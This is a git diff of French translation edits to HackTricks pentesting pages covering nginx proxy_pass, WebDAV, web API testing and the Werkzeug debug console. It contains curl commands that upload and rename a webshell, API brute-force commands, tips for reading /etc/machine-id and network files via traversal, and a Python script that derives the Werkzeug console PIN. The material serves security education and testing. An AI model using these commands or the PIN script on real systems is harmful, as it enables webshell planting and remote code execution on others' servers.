spécifique tel que `http://backend:9999/socket.io`, la connexion sera établie avec `http://backend:9999` afin que vous puissiez **contacter tout autre chemin à l'intérieur de ce point de terminaison interne. Ainsi, il n'importe pas si un chemin est spécifié dans l'URL de proxy\_pass.** {% endhint %} ## Essayez par vous-même @@ -226,9 +273,9 @@ Nginxpwner est un outil simple pour rechercher les mauvaises configurations et l * [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) * [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115) -
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -241,7 +288,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md index d87f1e5d6..235f6474f 100644 --- a/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -1,6 +1,6 @@ # WebDav -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -10,38 +10,38 @@ Accédez dès aujourd'hui à :
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Lorsque vous traitez avec un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les bonnes **informations d'identification**, généralement vérifiées via **l'authentification de base HTTP**. Prendre le contrôle d'un tel serveur implique souvent **le téléchargement et l'exécution d'un webshell**. +Lorsque vous traitez avec un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les bonnes **informations d'identification**, généralement vérifiées via **l'authentification de base HTTP**. Prendre le contrôle d'un tel serveur implique souvent **l'envoi et l'exécution d'un webshell**. L'accès au serveur WebDav nécessite généralement des **informations d'identification valides**, avec le [**bruteforce WebDav**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) étant une méthode courante pour les acquérir. -Pour contourner les restrictions sur les téléchargements de fichiers, en particulier ceux empêchant l'exécution de scripts côté serveur, vous pouvez : +Pour contourner les restrictions sur les téléversements de fichiers, en particulier ceux empêchant l'exécution de scripts côté serveur, vous pouvez : -- **Télécharger** des fichiers avec des **extensions exécutables** directement si ce n'est pas restreint. -- **Renommer** les fichiers téléchargés non exécutables (comme .txt) en une extension exécutable. -- **Copier** les fichiers téléchargés non exécutables, en changeant leur extension pour une extension exécutable. +* **Téléverser** des fichiers avec des **extensions exécutables** directement si ce n'est pas restreint. +* **Renommer** les fichiers téléversés non exécutables (comme .txt) en une extension exécutable. +* **Copier** les fichiers téléversés non exécutables, en changeant leur extension pour une extension exécutable. ## DavTest -**Davtest** essaie de **télécharger plusieurs fichiers avec différentes extensions** et **vérifie** si l'extension est **exécutée** : +**Davtest** essaie de **téléverser plusieurs fichiers avec différentes extensions** et **vérifie** si l'extension est **exécutée** : ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ## Cadaver -Vous pouvez utiliser cet outil pour vous connecter au serveur WebDav et effectuer des actions (comme **télécharger**, **déplacer** ou **supprimer**) **manuellement**. +Vous pouvez utiliser cet outil pour **se connecter au serveur WebDav** et effectuer des actions (comme **télécharger**, **déplacer** ou **supprimer**) **manuellement**. ``` cadaver ``` @@ -53,11 +53,11 @@ curl -T 'shell.txt' 'http://$ip' ``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui à : +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -69,9 +69,9 @@ Ensuite, vous pouvez **télécharger** votre shell en tant que fichier ".**txt"* ![](<../../.gitbook/assets/image (18) (1) (1).png>) -## Post-identifiants +## Postez des identifiants -Si le Webdav utilisait un serveur Apache, vous devriez examiner les sites configurés dans Apache. Généralement :\ +Si le Webdav utilisait un serveur Apache, vous devriez regarder les sites configurés dans Apache. Généralement :\ _**/etc/apache2/sites-enabled/000-default**_ À l'intérieur, vous pourriez trouver quelque chose comme : @@ -100,26 +100,27 @@ Pour vérifier si les nouvelles informations d'identification fonctionnent, vous wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Références + * [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui: +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/pentesting-web/web-api-pentesting.md b/network-services-pentesting/pentesting-web/web-api-pentesting.md index f6b651595..d09990522 100644 --- a/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -1,4 +1,4 @@ -# Test d'intrusion des API Web +# Test d'intrusion sur les API Web
@@ -8,83 +8,68 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
-Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +## Résumé de la méthodologie de test d'intrusion sur les API -## Résumé de la méthodologie de test d'intrusion des API - -Le test d'intrusion des API implique une approche structurée pour découvrir les vulnérabilités. Ce guide encapsule une méthodologie complète, mettant l'accent sur les techniques et outils pratiques. +Les tests d'intrusion sur les API impliquent une approche structurée pour découvrir les vulnérabilités. Ce guide encapsule une méthodologie complète, mettant l'accent sur les techniques et outils pratiques. ### **Compréhension des types d'API** -- **Services Web SOAP/XML** : Utilisez le format WSDL pour la documentation, généralement trouvé aux chemins `?wsdl`. Des outils comme **SOAPUI** et **WSDLer** (extension Burp Suite) sont essentiels pour l'analyse et la génération de requêtes. Un exemple de documentation est accessible sur [DNE Online](http://www.dneonline.com/calculator.asmx). - -- **API REST (JSON)** : La documentation est souvent fournie dans des fichiers WADL, mais des outils comme [Swagger UI](https://swagger.io/tools/swagger-ui/) offrent une interface plus conviviale pour l'interaction. **Postman** est un outil précieux pour créer et gérer des requêtes d'exemple. - -- **GraphQL** : Un langage de requête pour les API offrant une description complète et compréhensible des données dans votre API. +* **Services Web SOAP/XML** : Utilisez le format WSDL pour la documentation, généralement trouvée aux chemins `?wsdl`. Des outils comme **SOAPUI** et **WSDLer** (extension Burp Suite) sont essentiels pour l'analyse et la génération de requêtes. Un exemple de documentation est accessible sur [DNE Online](http://www.dneonline.com/calculator.asmx). +* **API REST (JSON)** : La documentation se présente souvent sous forme de fichiers WADL, mais des outils comme [Swagger UI](https://swagger.io/tools/swagger-ui/) offrent une interface plus conviviale pour l'interaction. **Postman** est un outil précieux pour créer et gérer des requêtes d'exemple. +* **GraphQL** : Un langage de requête pour les API offrant une description complète et compréhensible des données dans votre API. ### **Laboratoires de pratique** -- [**VAmPI**](https://github.com/erev0s/VAmPI) : Une API délibérément vulnérable pour la pratique pratique, couvrant les 10 principales vulnérabilités API de l'OWASP. +* [**VAmPI**](https://github.com/erev0s/VAmPI) : Une API délibérément vulnérable pour la pratique pratique, couvrant les 10 principales vulnérabilités API de l'OWASP. -### **Trucs efficaces pour le test d'intrusion des API** +### **Astuces efficaces pour les tests d'intrusion sur les API** -- **Vulnérabilités SOAP/XML** : Explorez les vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de charges utiles si le XML reste valide. +* **Vulnérabilités SOAP/XML** : Explorez les vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de charges utiles si le XML reste valide. +* **Élévation de privilèges** : Testez les points de terminaison avec différents niveaux de privilège pour identifier les possibilités d'accès non autorisé. +* **Mauvaises configurations CORS** : Enquêtez sur les paramètres CORS pour une exploitabilité potentielle via des attaques CSRF à partir de sessions authentifiées. +* **Découverte de points de terminaison** : Exploitez les modèles d'API pour découvrir des points de terminaison cachés. Des outils comme les fuzzers peuvent automatiser ce processus. +* **Altération de paramètres** : Expérimentez en ajoutant ou remplaçant des paramètres dans les requêtes pour accéder à des données ou fonctionnalités non autorisées. +* **Test des méthodes HTTP** : Variez les méthodes de requête (GET, POST, PUT, DELETE, PATCH) pour découvrir des comportements inattendus ou des divulgations d'informations. +* **Manipulation du type de contenu** : Passez entre différents types de contenu (x-www-form-urlencoded, application/xml, application/json) pour tester les problèmes d'analyse ou les vulnérabilités. +* **Techniques avancées de paramétrage** : Testez avec des types de données inattendus dans les charges utiles JSON ou jouez avec les données XML pour les injections XXE. Essayez également la pollution de paramètres et les caractères génériques pour des tests plus larges. +* **Test de version** : Les anciennes versions d'API peuvent être plus susceptibles aux attaques. Vérifiez toujours et testez contre plusieurs versions d'API. -- **Élévation de privilèges** : Testez les points de terminaison avec différents niveaux de privilège pour identifier les possibilités d'accès non autorisé. +### **Outils et ressources pour les tests d'intrusion sur les API** -- **Mauvaises configurations CORS** : Enquêtez sur les paramètres CORS pour une exploitabilité potentielle à travers des attaques CSRF à partir de sessions authentifiées. - -- **Découverte de points de terminaison** : Exploitez les modèles d'API pour découvrir des points de terminaison cachés. Des outils comme les fuzzers peuvent automatiser ce processus. - -- **Altération de paramètres** : Expérimentez en ajoutant ou remplaçant des paramètres dans les requêtes pour accéder à des données ou fonctionnalités non autorisées. - -- **Test des méthodes HTTP** : Variez les méthodes de requête (GET, POST, PUT, DELETE, PATCH) pour découvrir des comportements inattendus ou des divulgations d'informations. - -- **Manipulation du type de contenu** : Passez entre différents types de contenu (x-www-form-urlencoded, application/xml, application/json) pour tester les problèmes d'analyse ou les vulnérabilités. - -- **Techniques de paramètres avancées** : Testez avec des types de données inattendus dans les charges utiles JSON ou jouez avec les données XML pour des injections XXE. Essayez également la pollution de paramètres et les caractères génériques pour des tests plus larges. - -- **Test de version** : Les anciennes versions d'API pourraient être plus susceptibles aux attaques. Vérifiez toujours et testez contre plusieurs versions d'API. - -### **Outils et ressources pour le test d'intrusion des API** - -- **kiterunner** : Excellent pour découvrir les points de terminaison des API. Utilisez-le pour scanner et effectuer une force brute sur les chemins et les paramètres des API cibles. +* **kiterunner** : Excellent pour découvrir les points de terminaison de l'API. Utilisez-le pour scanner et forcer les chemins et paramètres contre les API cibles. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- Des outils supplémentaires comme **automatic-api-attack-tool**, **Astra** et **restler-fuzzer** offrent des fonctionnalités sur mesure pour les tests de sécurité des API, allant de la simulation d'attaque au fuzzing et à la numérisation des vulnérabilités. +* Des outils supplémentaires comme **automatic-api-attack-tool**, **Astra**, et **restler-fuzzer** offrent des fonctionnalités sur mesure pour les tests de sécurité des API, allant de la simulation d'attaque au fuzzing et à la numérisation des vulnérabilités. ### **Ressources d'apprentissage et de pratique** -- **OWASP API Security Top 10** : Lecture essentielle pour comprendre les vulnérabilités courantes des API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). - -- **API Security Checklist** : Une liste de contrôle complète pour sécuriser les API ([lien GitHub](https://github.com/shieldfy/API-Security-Checklist)). - -- **Filtres Logger++** : Pour la chasse aux vulnérabilités des API, Logger++ offre des filtres utiles ([lien GitHub](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). - -- **Liste des points de terminaison API** : Une liste organisée des points de terminaison API potentiels à des fins de test ([gist GitHub](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). - +* **OWASP API Security Top 10** : Lecture essentielle pour comprendre les vulnérabilités courantes des API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +* **API Security Checklist** : Une liste de contrôle complète pour sécuriser les API ([lien GitHub](https://github.com/shieldfy/API-Security-Checklist)). +* **Filtres Logger++** : Pour la chasse aux vulnérabilités des API, Logger++ offre des filtres utiles ([lien GitHub](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +* **Liste des points de terminaison API** : Une liste organisée des points de terminaison API potentiels à des fins de test ([gist GitHub](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Références + * [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) - -
+
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : @@ -100,7 +85,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/network-services-pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md index 77271b6a4..969e117b0 100644 --- a/network-services-pentesting/pentesting-web/werkzeug.md +++ b/network-services-pentesting/pentesting-web/werkzeug.md @@ -8,15 +8,15 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -42,28 +42,32 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant la nécessité d'un NIP pour déverrouiller la console. La suggestion est de exploiter le NIP de la console en analysant l'algorithme de génération du NIP dans le fichier d'initialisation du débogueur de Werkzeug (`__init__.py`). Le mécanisme de génération du NIP peut être étudié à partir du [**dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), bien qu'il soit conseillé de se procurer le code serveur réel via une vulnérabilité de traversée de fichiers en raison de potentielles divergences de version. +Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant la nécessité d'un NIP pour déverrouiller la console. La suggestion est de exploiter le NIP de la console en analysant l'algorithme de génération du NIP dans le fichier d'initialisation du débogage de Werkzeug (`__init__.py`). Le mécanisme de génération du NIP peut être étudié à partir du [**dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), bien qu'il soit conseillé de se procurer le code serveur réel via une vulnérabilité de traversée de fichiers en raison de potentielles divergences de version. Pour exploiter le NIP de la console, deux ensembles de variables, `probably_public_bits` et `private_bits`, sont nécessaires : #### **`probably_public_bits`** -- **`username`** : Fait référence à l'utilisateur qui a initié la session Flask. -- **`modname`** : Généralement désigné comme `flask.app`. -- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`** : Résout généralement à **Flask**. -- **`getattr(mod, '__file__', None)`** : Représente le chemin complet vers `app.py` dans le répertoire Flask (par exemple, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` n'est pas applicable, **essayez `app.pyc`**. + +* **`username`** : Fait référence à l'utilisateur qui a initié la session Flask. +* **`modname`** : Généralement désigné comme `flask.app`. +* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`** : Résout généralement à **Flask**. +* **`getattr(mod, '__file__', None)`** : Représente le chemin complet vers `app.py` dans le répertoire Flask (par exemple, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` n'est pas applicable, **essayez `app.pyc`**. #### **`private_bits`** -- **`uuid.getnode()`** : Récupère l'adresse MAC de la machine actuelle, avec `str(uuid.getnode())` la traduisant en format décimal. -- Pour **déterminer l'adresse MAC du serveur**, il faut identifier l'interface réseau active utilisée par l'application (par exemple, `ens3`). En cas d'incertitude, **fuite `/proc/net/arp`** pour trouver l'identifiant du périphérique, puis **extraire l'adresse MAC** de **`/sys/class/net//address`**. -- La conversion d'une adresse MAC hexadécimale en décimal peut être effectuée comme indiqué ci-dessous : + +* **`uuid.getnode()`** : Récupère l'adresse MAC de la machine actuelle, avec `str(uuid.getnode())` la traduisant en format décimal. +* Pour **déterminer l'adresse MAC du serveur**, il faut identifier l'interface réseau active utilisée par l'application (par exemple, `ens3`). En cas d'incertitude, **fuite `/proc/net/arp`** pour trouver l'ID du périphérique, puis **extraire l'adresse MAC** de **`/sys/class/net//address`**. +* La conversion d'une adresse MAC hexadécimale en décimal peut être effectuée comme indiqué ci-dessous : + ```python # Exemple d'adresse MAC : 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` -- **`get_machine_id()`** : Concatène les données de `/etc/machine-id` ou `/proc/sys/kernel/random/boot_id` avec la première ligne de `/proc/self/cgroup` après le dernier slash (`/`). +* **`get_machine_id()`** : Concatène les données de `/etc/machine-id` ou `/proc/sys/kernel/random/boot_id` avec la première ligne de `/proc/self/cgroup` après le dernier slash (`/`).
+ Code pour `get_machine_id()` ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: @@ -104,7 +108,7 @@ try: ```
-Une fois toutes les données nécessaires rassemblées, le script d'exploitation peut être exécuté pour générer le code PIN de la console Werkzeug. Le script utilise les `probably_public_bits` et `private_bits` assemblés pour créer un hachage, qui est ensuite soumis à un traitement supplémentaire pour produire le code PIN final. Voici le code Python pour exécuter ce processus : +Une fois toutes les données nécessaires rassemblées, le script d'exploitation peut être exécuté pour générer le code PIN de la console Werkzeug. Le script utilise les `probably_public_bits` et `private_bits` assemblés pour créer un hachage, qui est ensuite soumis à un traitement supplémentaire pour produire le code PIN final. Voici le code Python pour exécuter ce processus: ```python import hashlib from itertools import chain @@ -150,8 +154,7 @@ rv = num print(rv) ``` -Ce script produit le PIN en hachant les bits concaténés, en ajoutant des sels spécifiques (`cookiesalt` et `pinsalt`), et en formatant la sortie. Il est important de noter que les valeurs réelles de `probably_public_bits` et `private_bits` doivent être obtenues avec précision à partir du système cible pour garantir que le PIN généré correspond à celui attendu par la console Werkzeug. - +Ce script produit le NIP en hachant les bits concaténés, en ajoutant des sels spécifiques (`cookiesalt` et `pinsalt`), et en formatant la sortie. Il est important de noter que les valeurs réelles de `probably_public_bits` et `private_bits` doivent être obtenues avec précision à partir du système cible pour garantir que le NIP généré correspond à celui attendu par la console Werkzeug. {% hint style="success" %} Si vous utilisez une **ancienne version** de Werkzeug, essayez de changer l'**algorithme de hachage en md5** au lieu de sha1. @@ -162,9 +165,9 @@ Si vous utilisez une **ancienne version** de Werkzeug, essayez de changer l'**al * [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) * [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) -
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -177,7 +180,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 